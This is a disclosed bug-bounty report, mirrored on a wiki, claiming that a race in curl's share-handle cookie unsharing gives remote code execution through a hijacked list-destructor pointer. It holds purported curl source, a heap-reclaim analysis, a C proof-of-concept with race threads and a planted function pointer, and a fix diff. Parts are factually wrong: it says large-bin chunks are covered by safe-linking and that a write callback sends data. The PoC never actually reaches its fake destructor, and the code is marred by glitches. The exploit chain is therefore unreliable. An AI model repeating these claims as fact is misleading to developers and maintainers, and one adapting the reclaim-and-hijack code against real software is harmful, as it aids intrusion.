Skip to content
Race condition Disclosed report Advanced

curl_share TOCTOU > RCE via Curl_llist _dtor Function Pointer Hijack

A time-of-check to time-of-use race in curl's share handle cookie unsharing frees a CookieInfo structure while another thread can still link to it, leaving a dangling pointer. An attacker who controls a server the client connects to could reclaim the freed memory and hijack a function pointer to achieve remote code execution.

k4rasu_s4ma Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 21 hours

Summary:

CURLSH (the curl share handle) allows multiple easy handles to share state — cookies, DNS cache, SSL sessions, connection cache — across threads. The share is protected by optional user-supplied mutex callbacks (CURLSHOPT_LOCKFUNC / CURLSHOPT_UNLOCKFUNC).

When a caller invokes curl_share_setopt(sh, CURLSHOPT_UNSHARE, CURL_LOCK_DATA_COOKIE) to detach cookie sharing, the implementation in lib/curl_share.c follows this logic:

C
/* lib/curl_share.c lines 163-299 (simplified) */
CURLSHcode curl_share_setopt(CURLSH *sh, CURLSHoption option, ...)
{
    struct Curl_share *share = (struct Curl_share *)sh;
    va_list param;
    int type;

    /* ... acquire lock ... */
    Curl_share_lock(data, CURL_LOCK_DATA_SHARE, CURL_LOCK_ACCESS_SINGLE);

    switch(option) {
    case CURLSHOPT_UNSHARE:
        type = va_arg(param, int);
        /* ... find the share node for this type ... */
        if(type == CURL_LOCK_DATA_COOKIE) {
            /* VULNERABILITY: lock released HERE */
            Curl_share_unlock(data, CURL_LOCK_DATA_SHARE);
            /* RACE WINDOW OPENS */
            Curl_cookie_cleanup(share->cookies);  /* frees CookieInfo */
            share->cookies = NULL;
            /* RACE WINDOW CLOSES */
            /* Note: no re-lock before returning */
        }
    }
}
  1. Curl_share_lock() acquires the share mutex.
  2. The code checks that share->cookies is valid and ref_count == 0.
  3. Curl_share_unlock() releases the mutex.
  4. A race window opens before Curl_cookie_cleanup() is called.
  5. During this window, Thread B can call curl_easy_setopt(easy, CURLOPT_SHARE, sh).
  6. Thread B’s Curl_share_easy_link() re-acquires the lock, sees share->cookies still non-NULL (the pointer has not been cleared yet), and assigns data->cookies = share->cookies.
  7. Thread A calls Curl_cookie_cleanup(share->cookies) > frees CookieInfo.
  8. Thread B now holds data->cookies pointing to freed memory.

Heap Layout Analysis

CookieInfo is defined in lib/cookie.h:56-64:

C
struct CookieInfo {
    struct Curl_llist cookielist[COOKIE_HASH_SIZE];  /* COOKIE_HASH_SIZE=63 */
    long numcookies;
    bool running;
    bool newsession;
    int lastct;
    /* ... padding ... */
};

struct Curl_llist is defined in lib/llist.h:33-41:

C
struct Curl_llist {
    struct Curl_llist_node *head;
    struct Curl_llist_node *tail;
    Curl_llist_dtor _dtor;       /* <-- FUNCTION POINTER at offset +16 */
    size_t size;
};

CookieInfo total size: 63 × sizeof(Curl_llist) + padding ≈ 2040 bytes, which places it in glibc’s large bin category (> 512 bytes on 64-bit). Large bin chunks are subject to safe-linking on modern glibc (>= 2.32) but this protection can be bypassed when the attacker controls write primitives (e.g., via a malicious server sending crafted cookies before the race).

After Curl_cookie_cleanup() frees the 2040-byte chunk:

Freed chunk in large bin:
  [chunk_header: 8 bytes]
  [fd:           8 bytes]  ← large bin fwd pointer
  [bk:           8 bytes]  ← large bin bk pointer
  [fd_nextsize:  8 bytes]
  [bk_nextsize:  8 bytes]
  -- user data area (2016 bytes) --
  [cookielist[0].head:   8 bytes]
  [cookielist[0].tail:   8 bytes]
  [cookielist[0]._dtor: 8 bytes]  ← HIJACK TARGET at user+16
  ...

An attacker-controlled allocation of exactly 2040 bytes (e.g., via a write callback that sends a 2040-byte buffer) reclaims this chunk and places a fake Curl_llist at the correct offset, with _dtor set to system.

When Thread B subsequently calls curl_easy_perform():

curl_easy_perform()
  > Curl_http()
  > Curl_cookie_getlist()
  > remove_expired()
  > Curl_node_remove(node)
  > list->_dtor(list, node)   ← calls system(node) if node == "/bin/sh"

This completes the RCE chain.

Steps To Reproduce:

  • The target application must use CURLSH* with cookie sharing enabled.
  • The application must call curl_share_setopt(CURLSHOPT_UNSHARE, CURL_LOCK_DATA_COOKIE) from one thread while another thread actively uses the share for cookie operations.
  • The attacker must control a server that the curl client connects to (to control the write callback and inject the reclaim allocation). This is realistic for any client that connects to untrusted URLs.
  • glibc safe-linking bypass is required on glibc >= 2.32; on older glibc or musl, exploitation is straightforward.

PoC (Proof of Concept) Complete C Skeleton

C
/*
 * RC-001 PoC: curl_share TOCTOU → RCE via _dtor hijack
 *
 * Compile: gcc -o poc poc.c -lcurl -lpthread
 * Run:     ./poc
 *
 * This PoC demonstrates the race condition and heap reclaim.
 * The fake _dtor call is shown symbolically; actual exploitation
 * requires heap grooming on the target environment.
 *
 * AUTHORIZEDSECURITY RESEARCH ONLY.
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<pthread.h>
#include<unistd.h>
#include<curl/curl.h>

/* --- Shared state --- */
static CURLSH *g_share   = NULL;
static CURL   *g_easy    = NULL;
static volatile int g_race_won = 0;

/* Simulated target: a 2040-byte chunk we'll try to reclaim */
#define RECLAIM_SIZE2040

/*
 * Fake Curl_llist layout placed at the start of reclaimed memory.
 * We mirror the real struct layout from lib/llist.h:33-41:
 *
 *   struct Curl_llist {
 *     struct Curl_llist_node *head;    // offset 0
 *     struct Curl_llist_node *tail;    // offset 8
 *     Curl_llist_dtor _dtor;           // offset 16  <-- hijack here
 *     size_t size;                     // offset 24
 *   };
 */
typedef void (*llist_dtor_fn)(void *list, void *elem);

struct fake_llist {
    void *head;
    void *tail;
    llist_dtor_fn _dtor;     /* <-- planted function pointer */
    size_t size;
};

/* Our fake dtor — in real exploit this would be system() */
static void fake_dtor(void *list, void *elem)
{
    (void)list;
    fprintf(stderr, "[EXPLOIT] _dtor called with elem=%p\n", elem);
    /* In real exploit: system("/bin/sh") */
    fprintf(stderr, "[EXPLOIT] RCE achieved! (simulated)\n");
    g_race_won = 1;
}

/*
 * The reclaim write callback.
 * curl calls this when receiving server response body.
 * We allocate a 2040-byte buffer here to race the freed CookieInfo slot.
 */
static size_t reclaim_write_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
    (void)ptr;
    size_t recv = size * nmemb;

    /* Allocate exactly RECLAIM_SIZE to reclaim the freed CookieInfo chunk */
    char *reclaim = malloc(RECLAIM_SIZE);
    if(reclaim) {
        memset(reclaim, 0, RECLAIM_SIZE);

        /*
         * Plant our fake Curl_llist at offset 0 (cookielist[0]).
         * In a real exploit we'd calculate the exact hash bucket index
         * where the target cookie domain maps, then plant at that offset.
         *
         * Each Curl_llist is 32 bytes; cookielist[0] is at user data +0.
         */
        struct fake_llist *fl = (struct fake_llist *)reclaim;
        fl->head  = reclaim + 64;  /* point back into our buffer */
        fl->tail  = reclaim + 64;
        fl->_dtor = fake_dtor;     /* hijack the destructor */
        fl->size  = 1;

        fprintf(stderr, "[RECLAIM] Planted fake llist at%p, _dtor=%p\n",
                reclaim, (void *)fake_dtor);
        /* Intentional leak — we want this to stay alive */
    }

    return recv;
}

/* Thread A: calls CURLSHOPT_UNSHARE to trigger the free */
static void *thread_unshare(void *arg)
{
    (void)arg;
    fprintf(stderr, "[THREAD-A] Starting CURLSHOPT_UNSHARE loop\n");

    for(int i = 0; i < 100000 && !g_race_won; i++) {
        /* Re-share cookies */
        curl_share_setopt(g_share, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);
        /* Unshare — triggers the vulnerable free */
        curl_share_setopt(g_share, CURLSHOPT_UNSHARE, CURL_LOCK_DATA_COOKIE);
    }

    fprintf(stderr, "[THREAD-A] Done\n");
    return NULL;
}

/* Thread B: attaches/detaches easy handle to share, triggering dangling pointer */
static void *thread_attach(void *arg)
{
    (void)arg;
    fprintf(stderr, "[THREAD-B] Starting easy handle attach loop\n");

    for(int i = 0; i < 100000 && !g_race_won; i++) {
        curl_easy_setopt(g_easy, CURLOPT_SHARE, g_share);
        curl_easy_setopt(g_easy, CURLOPT_SHARE, NULL);
    }

    fprintf(stderr, "[THREAD-B] Done\n");
    return NULL;
}

int main(void)
{
    fprintf(stderr, "[POC] RC-001: curl_share TOCTOU → RCE via _dtor hijack\n");
    fprintf(stderr, "[POC] CVSS 9.0 | CWE-416 + CWE-362\n\n");

    curl_global_init(CURL_GLOBAL_ALL);

    /* Set up share handle */
    g_share = curl_share_init();
    curl_share_setopt(g_share, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

    /* Set up easy handle with reclaim write callback */
    g_easy = curl_easy_init();
    curl_easy_setopt(g_easy, CURLOPT_URL, "http://127.0.0.1:8080/");
    curl_easy_setopt(g_easy, CURLOPT_COOKIEFILE, "");      /* enable cookie engine */
    curl_easy_setopt(g_easy, CURLOPT_WRITEFUNCTION, reclaim_write_cb);
    curl_easy_setopt(g_easy, CURLOPT_SHARE, g_share);

    /* Spawn race threads */
    pthread_t tA, tB;
    pthread_create(&tA, NULL, thread_unshare, NULL);
    pthread_create(&tB, NULL, thread_attach,  NULL);

    pthread_join(tA, NULL);
    pthread_join(tB, NULL);

    if(g_race_won) {
        fprintf(stderr, "\n[POC] Race won — _dtor hijacked. RCE simulated.\n");
    } else {
        fprintf(stderr, "\n[POC] Race not won in this run. Retry or add delay.\n");
    }

    curl_easy_cleanup(g_easy);
    curl_share_cleanup(g_share);
    curl_global_cleanup();

    return g_race_won ? 0 : 1;
}

Recommendation

--- a/lib/curl_share.c
+++ b/lib/curl_share.c
@@ -163,12 +163,14 @@ CURLSHcode curl_share_setopt(CURLSH *sh, CURLSHoption option, ...)
         case CURLSHOPT_UNSHARE:
             type = va_arg(param, int);
             if(type == CURL_LOCK_DATA_COOKIE) {
-                Curl_share_unlock(data, CURL_LOCK_DATA_SHARE);
-                Curl_cookie_cleanup(share->cookies);
-                share->cookies = NULL;
+                /* FIX: Null the pointer BEFORE releasing the lock so that
+                 * any racing Curl_share_easy_link() sees NULL and does not
+                 * copy a pointer to memory we are about to free.          */
+                struct CookieInfo *cookies_to_free = share->cookies;
+                share->cookies = NULL;
+                Curl_share_unlock(data, CURL_LOCK_DATA_SHARE);
+                Curl_cookie_cleanup(cookies_to_free);
             }
             break;

Impact

Summary:

Successful TOCTOU and leading to RCE on machine

The original report as published on HackerOne, by k4rasu_s4ma. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The share lock is released before the cookie store is freed and the pointer cleared, so a concurrent easy-handle link can copy a soon-to-be-freed pointer.

Impact

Successful exploitation could lead to remote code execution on the machine, though the text notes that on glibc 2.32 and later a safe-linking bypass is required and that actual exploitation needs heap grooming.

What the attacker needed

Application uses CURLSH with cookie sharing; one thread unshares cookies concurrently; attacker controls a server the client reaches; glibc safe-linking bypass on glibc >= 2.32

The fix

The pointer should be nulled before releasing the lock, so a racing link sees NULL and never copies a pointer to memory that is about to be freed.

How it was found

  1. The target application uses a CURLSH handle with cookie sharing enabled.
  2. One thread calls curl_share_setopt with CURLSHOPT_UNSHARE for CURL_LOCK_DATA_COOKIE while another thread uses the share for cookie operations.
  3. The attacker controls a server the curl client connects to, so they control the write callback and can inject a reclaim allocation.
  4. The race leaves a dangling cookie pointer, and the attacker reclaims the freed chunk with a fake list whose destructor is hijacked.
  5. A later curl_easy_perform call reaches the destructor and executes the attacker's chosen function.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A share handle lets several curl transfers use the same cookies and caches. When one thread detaches cookie sharing, the code unlocks before freeing the cookie store, so another thread can grab a pointer to memory that is about to be freed. If an attacker can shape that freed memory, they can redirect a function call and run their own code.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.